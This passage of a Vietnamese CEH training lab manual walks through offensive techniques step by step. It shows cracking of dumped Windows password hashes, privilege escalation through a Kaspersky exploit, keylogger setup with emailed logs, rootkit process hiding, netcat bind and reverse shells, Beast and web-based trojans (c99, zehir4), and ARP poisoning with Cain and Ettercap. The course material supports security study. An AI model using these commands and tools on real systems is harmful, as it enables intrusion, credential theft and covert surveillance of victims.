haoceh:1016:B3FF8763A6B5CE26AAD3B435B51404EE:7AD94985F28454259BF2A03821 FEC8DB::: hicehclass:1023:B2BEF1B1582C2DC0AAD3B435B51404EE:D6198C25F8420A93301A579 2398CF94C::: IUSR_113SSR3JKXGW3N:1003:449913C1CEC65E2A97074C07DBD2969F:9E6A4AF346F1A1F483 3ABFA52ADA9462::: IWAM_113SSR3JKXGW3N:1004:4431005ABF401D86F92DBAC26FDFD3B8:188AA6E0737F12D16 D60F8B64F7AE1FA::: lylam:1012:EE94DC327C009996AAD3B435B51404EE:7A63FB0793A85C960A775497C9 D738EE::: quyen:500:A00B9194BEDB81FEAAD3B435B51404EE:5C800F13A3CE86ED2540DD4E 7331E9A2::: SUPPORT_388945a0:1001:NO PASSWORD*********************:F791B19C488F4260723561D4F484EA09::: tam:1014:NO PASSWORD*********************:NO PASSWORD*********************::: test:1017:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B8 9537::: vic123:1021:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB 12283678::: Ta thấy thông tin user quyen có ID là 500, đây là ID của user administrator trong mạng, và user Guest là 501. Ngoài thông tin trên, ta có thêm thông tin về pash hash của user, bây giờ ta sử dụng chương trình Cain để tìm kiếm thông tin về password của các user khác.

Sử dụng Brute Force Attack với user “hiclassceh” và tìm ra password là “1234a”. Password này chỉ có 5 ký tự và dễ dàng bị Brute Force, tuy nhiên đối với những password là “
VSIC Education Corporation Trang 22

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

stong password” (password bao gồm chữ hoa và thường, ký tự, số, ký tự đặc biệt) thì sẽ lâu hơn. Bài Lab 3: Nâng quyền thông qua chương trình Kaspersky Lab Đối với việc nâng quyền trong một hệ thống hacker phải lợi dụng lỗ hổng nào đó, hoặc là từ hệ điều hành, hoặc là từ những phần mềm của hãng thứ 3, trong trường hợp này, chúng ta nâng quyền thông qua phần mềm diệt Virus là Kaspersky Lab. Để chuẩn bị bài lab này, chúng ta lên trang web www.milw0rm.com để tìm thông tin về đoạn mã khai thác này.

Sau đó ta sử dụng đoạn code này biên dịch thày file exe để tấn công vào máy nạn nhân. Để thực hành bài Lab, ta cần phải cài phần mềm Kaspersky vào máy. Sau khi cài xong ta thêm vào máy 1 user bình thường,và tiến hành log on vào user này, Trong bài ta sử dụng user hao và password là hao.

VSIC Education Corporation

Trang 23

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Chạy file exe đã được biên dịch để exploit vào Kaspersky đang chạy dưới quyền admin hệ thống.

Sử dụng lệnh “ telnet 127.0.0.1 8080 “ để truy xuất vào shell có quyền admin hệ thống. Ta tiếp tục sử dụng lệnh “ Net Localgroup administrators hao /add” để add user “ hao” vào nhóm admin, và sử dụng lệnh net user để tái xác nhận Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. D:\WINDOWS\system32> D:\WINDOWS\system32>net Localgroup administrators hao /add net Localgroup administrators hao /add The command completed successfully.

D:\WINDOWS\system32>net user hao net user hao User name hao Full Name Comment User's comment Country code 000 (System Default) Account active Yes Account expires Never Password last set Password expires Password changeable Password required 8/3/2007 1:47 PM 9/15/2007 12:35 PM 8/3/2007 1:47 PM Yes
Trang 24

VSIC Education Corporation

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

User may change password

Yes

Workstations allowed All Logon script User profile Home directory Last logon 8/3/2007 1:54 PM Logon hours allowed All *Users

Local Group Memberships *Administrators Global Group memberships *None The command completed successfully.

D:\WINDOWS\system32> Ta thấy user “ hao” bây giờ đã có quyền Admin trong hệ thống, và việc nâng quyền đã thành công. Các bạn có thể test những phần mềm tường tự từ code down từ trang www.milw0rm.com. Bài Lab 4: Sử dụng Keylogger Trong bài lab này, ta sử dụng phần mềm SC Keylogger để thu thập thông tin từ máy của nạn nhân, việc phải làm phải tạo ra file keylog, chọn mail server relay, cài vào nạn nhân. Sau khi cài phần mềm tại file keylogger, bây giờ ta bắt đầu cấu hình cho “sản phẩm” keylogger của mình. Đầu tiên ta chọn hành động được ghi log file bao gồm ghi keyboard, Mouse, và chương trình chạy.

VSIC Education Corporation

Trang 25

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Tiếp theo ta chọn thông tin email mà máy nạn nhân sẽ gởi logfile này. Thông tin này được gởi 10 phút 1 lần.

Tiếp theo ta cấu hình mail server để relay, và thông tin về process hiển thị, ở phần này hacker thông thường sử dụng những tên giống với những service có sẵn trên Window như svchost.exe,csrss.exev.v để đánh lừa người admin. Để dễ nhận dạng ta chọn tên file là cehkeylogger.

Sau khi tạo xong keylogger, ta chạy nó trên máy nạn nhân. Ta chọn 1 máy Win XP nào đó để chạy chương trình này và giả sử sau đó đánh đoạn text sau:
VSIC Education Corporation Trang 26

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Đợi khoảng 10 phút ta sẽ thấy logfile được gởi về như sau:

>> C:\WINDOWS\system32\notepad.exe << 05-08-07 11:39:23 Untitled - Notepad >> Chuc lop Sec<BS><BS><BS>CEH manh khoe, va nhieu thanh dat.. << 05-08-07 11:39:36 Untitled - Notepad >> Chuc lop CEH hoc gioi << 05-08-07 11:39:41 Untitled - Notepad >>::::::::::<PRNTSCR><ALT> << 05-08-07 11:39:56 Run >> <WIN-START>ms<DOWN> << 05-08-07 11:39:59 Process started >> C:\WINDOWS\system32\mspaint.exe

Theo như trên, chúng ta có thể thấy keyloger có thể lưu lại hầu như hết tất cả thông tin trên PC của máy nạn nhân, đặc biệt là các thông tin nhạy cảm như thẻ tín dụng, account, v.v. Người viết khuyến cáo các bạn sử dụng kiến thức với mục đích nghiên cứu, không sử dụng chương trình này với mục đích xấu. Bài Lab 5: Sử dụng Rootkit và xóa Log file Rootkit là chương trình làm ẩn sự hoạt động của keylogger, trojan, làm cho admin hệ thộng khó khăn trong việc phát hiện. Trong bài thực hành ta sử dụng Fu Rootkit để ẩn process của keylogger ta đã cài ở bài trước, ta sử dụng lệnh “ tasklist” để xem các process chạy trong máy tính.

VSIC Education Corporation

Trang 27

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Như ta thấy trên hình, proccess của cehkeyloger.exe có PID là 1236, bây giờ ta sẽ lẩn process này bằng lệnh “ fu –ph 1236” và thử xem lại các process bằng lệnh “ tasklist”.

VSIC Education Corporation

Trang 28

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta thấy keylogger đã biến mất khỏi tasklist, lúc này muốn detect được chính xác người admin nên sử dụng trương trình antivirus, kiểm soát truy nhập và chạy những chương trình kiểm tra rootkit trong máy như rootkit detector.

VSIC Education Corporation

Trang 29

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 4:

TROJAN và BACKDOOR
I/ Giới thiệu về Trojan và Backdoor: Trojan và Backdoor được sử dụng giám sát máy nạn nhân, và là cửa sau để Hacker có thể vào lại hệ thông máy tính thông qua công kết nối(port), thông qua môi trường Web(webase). Loại sử dụng cổng kết nối ta thường thấy là netcat, beast, Donald Dick v.v. Và loại sử dụng môi trường Webbase thông thường là r57,c99, zehir4v.v. Đặc tính của Trojan kết nối port là mỗi lần kết nối phải mở cộng, và admin tương đối phát hiện dễ dàng hơn so với loại Webbase(thông thường để tấn công Web Server). Trong bài thực hành, chúng ta cài thử các tính năng của netcat, beast, c99, zehir4 và phân tích 1 doạn code mẫu trojan. II/ Các bài thực hành: Bài 1 Sử dụng netcat: 1/Sử dụng netcat để kết nối shell Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l (listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe (đối với NT) hoặc bin/sh (đối với Unix). E:\>nc -nvv -l -p 8080 -e cmd.exe listening on [any] 8080 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159 sent 0, rcvd 0: unknown socket error - trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080 C:\>nc -nvv 172.16.84.2 8080 (UNKNOWN) [172.16.84.2] 8080 (?) open Microsoft Windows 2000 [Version 5.00.2195] © Copyright 1985-1999 Microsoft Corp. E:\>cd test cd test E:\test>dir /w dir /w Volume in drive E has no label. Volume Serial Number is B465-452F Directory of E:\test [.] [..] head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe 6 File(s) 262,499 bytes 2 Dir(s) 191,488,000 bytes free
VSIC Education Corporation Trang 30

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

C:\test>exit exit sent 20, rcvd 450: NOTSOCK Bây giờ chúng ta đã có được shell và kiểm soat được máy nạn nhân.Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũngđóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thaycho -l. Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp dụng cho bản chạy trên Linux. 2/Sử dụng netcat để kết nối shell nghịch chuyển để by pass Firewall: - dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ: - trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25: + cửa sổ Netcat (1) C:\>nc -nvv -l -p 80 listennng on [any] 80 ... connect to [172.16.84.1] from <UNKNOWN> [172.16.84.2] 1055 pwd ls -la _

+ cửa sổ Netcat (2) C:\>nc -nvv -l -p 25 listening on [any] 25 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056 / total 171 drwxr-xr-x 17 root root 4096 Feb 5 16:15 . drwxr-xr-x 17 root root 4096 Feb 5 16:15 .. drwxr-xr-x 2 root root 4096 Feb 5 08:55 b (²?n drwxr-xr-x 3 root root 4096 Feb 5 14:19 boot drwxr-xr-x 13 root root 106496 Feb 5 14:18 dev drwxr-xr-x 37 root root 4096 Feb 5 14:23 et = ²? drwxr-xr-x 6 root root 4096 Feb 5 08:58 home drwxr-xr-x 6 root root 4096 Feb 5 08:50 l (²?b drwxr-xr-x 2 root root 7168 De = ²? 31 1969 mnt drwxr-xr-x 4 root root 4096 Feb 5 16:18 n = ²? drwxr-xr-x 2 root root 4096 Aug 23 12:03 opt dr-xr-xr-x 61 root root 0 Feb 5 09:18 pro = ²? drwx------ 12 root root 4096 Feb 5 16:24 root drwxr-xr-x 2 root root 4096 Feb 5 08:55 sb (²?n
VSIC Education Corporation Trang 31

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

drwxrwxrwt 9 root root 4096 Feb 5 16:25 tmp drwxr-xr-x 13 root root 4096 Feb 5 08:42 usr drwxr-xr-x 18 root root 4096 Feb 5 08:52 var

- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất: [root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25 /bin/sh: Trying: command not found /bin/sh: Connected: command not found /bin/sh: Escape: command not found Trying 172.16.84.1... Connected to 172.16.84.1. Escape character is '^]'. _ Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2). Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc. Bài 2: Sử dụng Trojan Beast và detect trojan. Muốn sử dụng Trojan Beast, ta cần phải xây dụng 1 file Server cài lên máy nạn nhân, sau đó file server này sẽ lắng nghe ở những port cố định và từ máy tấn công ta sẽ connect vào máy nạn nhân thông qua cổng này. Chọn trojan Beast trong đĩa CD và chạy file tạo trojan.

Ta có thể sử dụng thêm các tính năng như AV-FW kill để tắ Firewall trên máy đối phương, hoặc inject vào 1 file khác như notepad.exe, explore dưới dạng dll. Ta sử dụng button Save Server để tại ra file server.exe và chạy file ở máy nạn nhân và kiểm tra trên taskmanager của máy nạn nhân xem Trojan đã thực sự hoạt động.
VSIC Education Corporation Trang 32

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bây giờ ta sử dụng chương trình tại máy tấn công để connect vào file Server đã chạy trên máy của nạn nhân.

Ta thử sử dụng 1 số tính năng như là managers file để download các file mình cần tại máy nạn nhân, hay bạn có shutdown, reboot máy nạn nhân thông qua tính năng của tag “Windows”

VSIC Education Corporation

Trang 33

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Cách phòng chống: Ngoài cách sử dụng các chương trình Anti Virus và Trojan, ta có thể dựa và tính chất thông thường những Trojan này bắt buộc phải mở port nào đó ra ngoài, ta có thể xem bằng chương trình Curr Port hay chương trình fport.

VSIC Education Corporation

Trang 34

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Dựa vào thông tin Currport cung cấp ta có thể xóa đường dẫn của file cehclass.exe và xóa những thông tin về nó trong regedit, và startup v.v. Bài 3: Sử dụng Trojan dưới dạng Webbase Trojan dạng webbase thông thường phổ biến hơn trong môi trường web, sau khi hacker khai thác được lỗ hỗng và chiếm quyền sử dụng Web Server, hacker sẽ để lại trojan dưới dạng Webbase và thông qua Trojan này hacker có thể ra vào hệ thống cho những lần sau. Đặc điểm của loại Trojan này là rất khó phát hiện, vì no chạy dưới dạng Web và sử dụng những hàm truy suất hệ thống thông qua các ngôn ngữ asp, phpv.v, vì vậy nó không thể dễ phát hiện như loại trojan kết nối như netcat, beast v.v. Để thực hiện bài lab này trước tiên ta phải cài đặt Web Server gồm IIS và Apache. 1/Trojan dưới dạng Web với ngôn ngữ ASP: Ta sử dụng Web Server IIS với Trojan được viết bằng ngôn ngữ này, người viết giới thiệu với các bạn 2 trojan tiêu biểu là cmd.asp và zehir4.asp Đầu tiên bạn cài đặt dịch vụ Web IIS(việc cài đặt khá đơn giản, học viên có thể tự mình làm phần này), chép 2 file vào thư mục www để truy cập thông qua Web.

VSIC Education Corporation

Trang 35

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta đánh vào lệnh Dir để xem thông tin các file trong hệ thống, với trojan như trên ta có thể xem được các thông tin hệ thống, có thể upload,download thông qua tftp, và add user vào hệ thống ví dụ lệnh “ net user hao hao /add”, “net Localgroup administrators hao /add “. Vào link http://192.168.1.116/zehir4.asp để xem về trojan webbase thứ 2.

Ta thấy Trojan này hướng đồ họa và tiện dụng hơn, việc lấy file,xóa file hoàn toàn thông qua web, chúng ta có thể dễ dàng thao tác trên máy của nạn nhân. 2/Trojan với ngôn ngữ PHP: Ta sử dụng Web server Apache với trojan được viết bằng ngôn ngữ này, người viết giới thiệu đến các bạn trojan tiêu biểu là c99. Đầu tiên bạn sử dụng chương trình phpeasy để cài kết hợp 3 gói sau apache, php, và mysql. Tuy nhiên trong bài các bạn chỉ cần sử dụng php và apache. Chép các file trojan và thư mục www để có thể chạy được các file này.
VSIC Education Corporation Trang 36

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Đây là file trojan rất nguy hiểm, nó vừa có thể download, upload file, đồng thời hỗ trợ chúng ta chạy những úng dụng như perl, thực thi các hàm hệ thống, cung cấp thông tin về nạn nhân hiện hànhv.v. Do tính chất như vậy cho nên Trojan này được hacker dùng rất rộng rãi(ngoài ra còn có r57, phpshellv.v).

VSIC Education Corporation

Trang 37

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 5:

CÁC PHƯƠNG PHÁP SNIFFER
I/ Giới thiệu về Sniffer A. TỔNG QUAN SNIFFER Sniffer được hiểu đơn giản như là một chương trình cố gắng nghe ngóng các lưu lượng thông tin trên một hệ thống mạng Sniffer được sử dụng như một công cụ để các nhà quản trị mạng theo dõi và bảo trì hệ thống mạng. Về mặt tiêu cực, sniffer được sử dụng như một công cụ với mục đích nghe lén các thông tin trên mạng để lấy các thông tin quan trọng Sniffer dựa vào phương thức tấn công ARP để bắt gói các thông tin được truyền qua mạng. Tuy nhiên những giao dịch giữa các hệ thống mạng máy tính thường là những dữ liệu ở dạng nhị phân (binary). Bởi vậy để hiểu được những dữ liệu ở dạng nhị phân này, các chương trình Sniffer này phải có tính năng phân tích các nghi thức (Protocol Analysis), cũng như tính năng giải mã (Decode) các dữ liệu ở dạng nhị phân để hiểu được chúng Một số các ứng dụng của Sniffer được sử dụng như: dsniff, snort, cain, ettercap, sniffer pro… B. HOẠT ĐỘNG CỦA SNIFFER Sniffer hoạt động chủ yếu dựa trên dạng tấn công ARP. TẤN CÔNG ARP 1. Giới thiệu Đây là một dạng tấn công rất nguy hiểm, gọi là Man In The Middle. Trong trường hợp này giống như bị đặt máy nghe lén, phiên làm việc giữa máy gởi và máy nhận vẫn diễn ra bình thường nên người sử dụng không hề hay biết mình bị tấn công 2. Sơ Lược Quá trình hoạt động Trên cùng một mạng, Host A và Host B muốn truyền tin cho nhau, các Packet sẽ được đưa xuống tầng Datalink để đóng gói, các Host phải đóng gói MAC nguồn, MAC đích vào Frame. Như vậy trước khi quá trình truyền Dữ liệu, các Host phải hỏi địa chỉ MAC của nhau. Nếu như Host A khởi động quá trình hỏi MAC trước, nó sẽ gởi broadcast gói tin ARP request cho tất cả các Host để hỏi MAC Host B, lúc đó Host B đã có MAC của Host A, sau đó Host B chỉ trả lời cho Host A MAC của Host B(ARP reply ). Có 1 Host C liên tục gởi ARP reply cho Host A và Host B địa chỉ MAC của Host C, nhưng lại đăt địa chỉ IP là Host A và Host B. Lúc này Host A cứ nghĩ máy B có MAC là C. Như vậy các gói tin mà Host A gởi cho Host B đều bị đưa đến Host C, gói tin Host B trả lời cho Host A cũng đưa đến Host C. Nếu Host C bật chức năng forwarding thì coi như Host A và Host B không hề hay biết rằng mình bị tấn công ARP

VSIC Education Corporation

Trang 38

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Host A

Host B

Host C . Ví dụ: Ta có mô hình gồm các host Attacker: là máy hacker dùng để tấn công ARP IP: 10.0.0.11 MAC: 0000.0000.1011 Victim: là máy bị tấn công IP: 10.0.0.12 MAC: 0000.0000.1012 HostA IP: 10.0.0.13 MAC: 0000.0000.1013 Đầu tiên, HostA muốn gởi dữ liệu cho Victim, cần phải biết địa chỉ MAC của Victim để liên lạc. HostA sẽ gởi broadcast ARP Request tới tất cả các máy trong cùng mạng LAN để hỏi xem IP 10.0.0.12 (IP của Victim) có địa chỉ MAC là bao nhiêu. Attacker và Victim đều nhận được gói tin ARP Request, nhưng chỉ có Victim gởi trả lời gói tin ARP Reply lại cho HostA. ARP Reply chứa thông tin về IP 10.0.0.12 và MAC 0000.0000.1012 của Victim HostA nhận được gói ARP Realy từ Victim, biết được địa chỉ MAC của Victim là 0000.0000.1012 sẽ bắt đầu thực hiện liên lạc truyền dữ liệu đến Victim. Attacker không thể xem nội dung dữ liệu được truyền giữa HostA và Victim

-

-

Máy Attacker muốn thực hiện ARP attack đối với máy Victim. Attacker muốn mọi gói tin HostA gởi đến máy Victim đều có thể chụp lại được để xem trộm - Attacker thực hiện gởi liên tục ARP Reply chứa thông tin về IP của Victim 10.0.0.12, còn địa chỉ MAC là của Attacker 0000.0000.1011. - HostA nhận được ARP Reply nghĩ rằng IP Victim 10.0.0.12 có địa chỉ MAC là 0000.0000.1011. HostA lưu thông tin này vào bảng ARP Cache và thực hiện kết nối. - Lúc này mọi thông tin, dữ liệu HostA gởi tới máy có IP 10.0.0.12 (là máy Victim) sẽ gởi qua địa chỉ MAC 0000.0000.1011 của máy Attacker.
VSIC Education Corporation Trang 39

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

CAIN (Sử dụng phần mềm CAIN) 1.Yêu cầu về phần cứng: - ổ cứng cần trống 10 Mb - hệ điều hành Win 2000/2003/XP - cần phải có Winpcap 2. Cài đặt:

Chọn Next.

VSIC Education Corporation

Trang 40

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Chọn Next.

Chọn Finish.

VSIC Education Corporation

Trang 41

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

VSIC Education Corporation

Trang 42

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

VSIC Education Corporation

Trang 43

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

3. Cấu hình Cain & Abel cần cấu hình một vài thông số, mọïi thứ có thể được điều chỉnh thông qua bảng Configuration dialog . Sniffer tab:

-Tại đây chúng ta chọn card mạng sử dụng để tiến hành sniffer và tính năng APR . Check vào ô Option để kích hoạt hay không kích hoạt tính năng. -Sniffer tương thích với Winpcap version 2.3 hay cao hơn . Version này hỗ trợ card mạng rất nhiều .
VSIC Education Corporation Trang 44

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

APR tab:

-Đây là nơi bạn có thể config ARP . Mặc định Cain ngăn cách 1 chuỗi gửi gói ARP từ nạn nhân trong vòng 30 giây . Đây thực sự là điều cần thiết bởi vì việc xâm nhập vào thiết bị có thể sẽ gây ra sự không lưu thông tính hiệu . Từ dialog này bạn có thể xác định thời gian giữa mỗi lần thực thi ARP, xác định thông số ít sẽ tạo cho ARP lưu thông nhiều,ngược lại sẽ khó khăn hơn trong việc xâm nhập . -Tại mục này, ta cần chú ý tới phần Spoofing Options: +Mục đầu tiên cho phép ta sử dụng địa chỉ MAC và IP thực của máy mà mình dang sử dụng. +Mục thứ hai cho phép sử dụng một IP và địa chỉ MAC giả mạo. (Lưu ý địa chỉ ta chọn phải không trùng với IP của máy khác) Khi click vào tab filters and ports, ta sẽ thấy một số thông tin về giao thức và các con số port tương ứng với giao thức đó.

VSIC Education Corporation

Trang 45

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Fliter and Ports Tab: -Tại đây bạn có thể chọn kích hoạt hay không kích hoạt các port ứng dụng TCP/UDP . HTTP fields tab:

VSIC Education Corporation

Trang 46

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

- Tại đây có 1 list danh sách username và password sử dụng được HTTP sniffer lọc lại. - Tại tab này cho phép ta biết dược chương trình này sẽ bắt 1 số thông tin về trang web như: + Mục Username Fields: nó sẽ lấy thông tin những gì liên quan đến cái tên (user name, account, web name v.v..) . + Mục Password Fields: lanh vực này sẽ đãm nhiệm vai trò lấy thông tin về password (login password, user pass, webpass v.v…) 4. Các ứng dụng của CAIN: + Bảo vệ password manager: − Trước hết nó được sử dụng như 1 private key bảo mật một số vấn đề cho user . Hầu hết thông tin trong Protected Storage được mã hóa.Sử dụng như 1 key nhận được từ việc logon password của user.Cho phép điều hòa viêc truy cập thông tin để owner có thể an toàn truy xuất . − Một vài ứng dụng của Windows có nét đặc trưng nên sử dụng dịch vụ này: Internet Explorer, Oulook, Oulook Express

+ Giải mã password manager: − Nó cho phép bạn đưa user names và passwords cho 1 tài nguyên mạng khác và 1 ứng dụng,sau đó hệ thống tự động cung cấp thông tin về những sự viếng thăm thông tin mà bạn không can thiệp. + LSA secrets dumper: − LSA secrets thì sử dụng thông tin password cho accounts dùng để start một dịch vụ khác dữ liệu cục bộ. Dial Up và một số ứng dụng khác xác định password nằm ở đây . + Giải mã password Dial-Up:

VSIC Education Corporation

Trang 47

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

+APR: − APR là nét đặc trưng chính của chương trình .Nó cho phép lắng nghe về các mạng chuyển mạch và sự tấn công lưu thông IP giữa các host . “APR poinsion routing” thực hiện: tấn công và định tuyến chính xác địa chỉ đích − APR tấn công cơ bản thông qua thao tác của host ARP.Trên 1 địa chỉ IP hay Ethernet khi mà 2 host muốn truyền tin lẫn nhau thì phải biết địa chỉ MAC addresses của nhau. Host gốc thấy bảng ARP nếu mà ở đây có 1 MAC addresses tương ứng với địa chỉ IP addresses của nó. Nếu không, nó là địa chỉ broadcasts,một lời yêu cầu ARP hỏi địa chỉ MAC của địa chỉ đích. Bởi vì gói thông tin này được gửi trong miền broadcasts, nó sẽ đi đến những cái host cùng subnet, tuy nhiên host với IP address trên lý thuyết khi nhận được yêu cầu sẽ trả lời lại địa chỉ MAC gốc của nó. Trái lại nếu ARP-IP tiếp cận địa chỉ đích của host thì nó sẵn sàng đưa ra soure host trên ARP cache. Điều này sẽ được dùng để phát sinh lưu thông ARP − Config: − Cần chỉnh 1 vài thông số, điều này có thể thực hiện được bằng việc chỉ rõ việc bắt chước MAC và IP addresses bằng việc sử dụng ARP poision packets . Điều này thật sự khó khăn khi không để lại vết tích của việc tấn công bởi vì người tấn công thực tế không bao giờ gửi địa chỉ qua lại trên mạng.Trên mạng người tấn công lúc nào cũng lén lúc ở giữa để quan sát

VSIC Education Corporation

Trang 48

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Hình ở trên là ta muốn tấn công ip từ 192.168.0.1 ( 192.168.0.10 .Công việc tiến hành theo cơ chế Người ở giữa, chương trình sẽ thực hiện 1 sự tấn công ARP poision, CAIN có thể phát triển sự tấn công bộ nhớ Của nhiều host trong khoảng thời gian như nhau, bạn cần chọn 1 địa chỉ ở ô bên trái

+ Service manager: ta có thể start/stop,pause/continued hay remove bất cứ 1 dịch vụ nào có trên cửa sổ giao diện

VSIC Education Corporation

Trang 49

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

+ Sniffer: ARP-DNS: Nét đặc trưng ở đây là cho phép DNS tiến hành giả mạo thành 1 DNS-reply để có thể tấn công.

ARP-DNS dễ dàng tạo ra 1 ip address trên DNS-reply .Sniffer dễ dàng rút ra được tên yêu cầu từ gói dữ liệu kết hợp với việc thấy được địa chỉ trên bảng danh sách.Ở đây gói dữ liệu sẽ được chỉnh lại IP address để sau đó re-route đi .Lúc này client sẽ bị đánh lừa để ta dễ dàng biết được địa chỉ đích . ARP-HTTPS:

VSIC Education Corporation

Trang 50

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

ARP-HTTPS cho phép việc bắt gói và giải mã trong sự lưu thông của HTTPS giữa các host . Đây là công việc kết hợp với công cụ Certificate Collector . Khi mà nạn nhân Start HTTPS trình duyệt của anh ta sẽ hiện lên po-pup báo động .

VSIC Education Corporation

Trang 51

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

+ Certificates Collector:

VSIC Education Corporation

Trang 52

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

VSIC Education Corporation

Trang 53

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

ETTERCAP
1. Giới Thiệu Ettercap là chương trình phân tích các gói tin gởi qua mạng, vì thế Ettercap cũng là một phần mềm hiệu nghiệm cho phép người sử dụng “đánh hơi” các dữ liệu trên mạng LAN, kể cả những thông tin đã được mã hóa. Ettercap có thể giả danh địa chỉ MAC của card mạng bị tấn công, thay vì gói tin được truyền đến máy tính cần đến thì nó lại được truyền đến máy tính có cài ettercap rồi sau đó mới truyền đến máy tính đích 2. Install trên Linux Trước khi Install, chúng ta cần chuẩn bị 3 gói cài sau: + ettercap-NG-0.7.1.tar – có thể download từ website http://prdownloads.sourceforge.net/ettercap + libpcap-0.8.1.tar + libnet-1.1.2.1.tar – có thể download từ website http://www.packetfactory.net/libnet/dist/ Install libnet: 1. 2. 3. 4. 5. # tar zxvf libnet-1.1.2.1.tar.gz # cd libnet # ./configure # make # make install

Install libpcap: 6. # tar zxvf libpcap-1.1.2.1.tar.gz 7. # cd libpcap 8. # ./configure 9. # make 10. # make install Install ettercap: 1. 2. 3. 4. # tar zxvf ettercap-NG-0.7.1.tar.gz # cd ettercap-NG-0.7.1 # ./configure # make
Trang 54

VSIC Education Corporation

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

5. # make install Quá trình cài đặt hoàn tất, trên cửa sổ console xuất hiện những dòng thông báo

3. Cấu Hình và Sử Dụng Ettercap - Mở giao diện Ettercap bằng cách gõ dòng lệnh # ettercap –C

VSIC Education Corporation

Trang 55

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

- Trước khi tiến hành cấu hình, ta kiểm tra option Promisc mode có dược check chưa, nếu chưa thì chọn check

-

Trong menu sniff, chọn Unified sniffing..

VSIC Education Corporation

Trang 56

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

-

Chọn card mạng sử dụng

-

Để khởi động quá trình lắng nghe, chọn menu start, start sniffing

VSIC Education Corporation

Trang 57

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Tại dòng User Messages se xuất hiện thông báo cho biết dịch vụ đang start lên

-

Trong menu Host, chọn Scan from hosts

VSIC Education Corporation

Trang 58

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

-

Trong menu Mitm, chọn Arp poisoning…

VSIC Education Corporation

Trang 59

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

- Không chọn parameters, nhấn enter bỏ qua - Tại dòng User messages xuất hiện thông báo
VSIC Education Corporation Trang 60

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

- Để xem các host đã được quét, chọn Connections, trong menu View

− Để bắt gói, chọn host nào đang ở chế độ active, sẽ hiện ra bản các gói bắt được, các gói này sẽ hiển thị dưới dạng mã hóa

VSIC Education Corporation

Trang 61

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

- Chọn Log all packets and infos… trong menu Logging để save những file logs chứa các gói bắt được lại - Để có thể đọc được các gói dưới dạng mã hóa đó, trong cửa sổ console, gõ lệnh # etterlog –p –k –i –ascii logfile.eci | less

4. Tính Năng Của Ettercap Ettercap cung cấp cho ta một số plug-in, bằng cách chọn những plug-in này, ta có thể ứng dụng một số tính năng quan trọng của ettercap

VSIC Education Corporation

Trang 62

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

